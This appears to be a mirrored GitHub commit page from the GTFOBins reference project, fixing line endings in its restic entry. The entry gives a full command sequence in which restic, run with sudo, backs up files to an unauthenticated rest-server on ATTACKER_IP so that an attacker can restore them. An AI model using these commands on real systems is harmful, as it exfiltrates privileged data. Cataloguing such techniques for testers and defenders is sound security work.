mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix line termination
This commit is contained in:
parent
b2a2b3a5f0
commit
9ec96219a3
@ -1,18 +1,18 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
sudo:
|
sudo:
|
||||||
- description: Restic can be used to backup files. Run the commands in the sequence given below.
|
- description: Restic can be used to backup files. Run the commands in the sequence given below.
|
||||||
code: |
|
code: |
|
||||||
<!-- Attacker Machine -->
|
<!-- Attacker Machine -->
|
||||||
rest-server --no-auth --listen http://ATTACKER_IP:PORT
|
rest-server --no-auth --listen http://ATTACKER_IP:PORT
|
||||||
<!-- Victim Machine -->
|
<!-- Victim Machine -->
|
||||||
TARGET=rest_repository
|
TARGET=rest_repository
|
||||||
BACKUP=file_or_directory_to_backup
|
BACKUP=file_or_directory_to_backup
|
||||||
sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET
|
sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET
|
||||||
sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP
|
sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP
|
||||||
<!-- Attacker Machine -->
|
<!-- Attacker Machine -->
|
||||||
TARGET=rest_repository
|
TARGET=rest_repository
|
||||||
DESTINATION=backup_to_restore
|
DESTINATION=backup_to_restore
|
||||||
mkdir /tmp/restic/$DESTINATION
|
mkdir /tmp/restic/$DESTINATION
|
||||||
restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION
|
restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user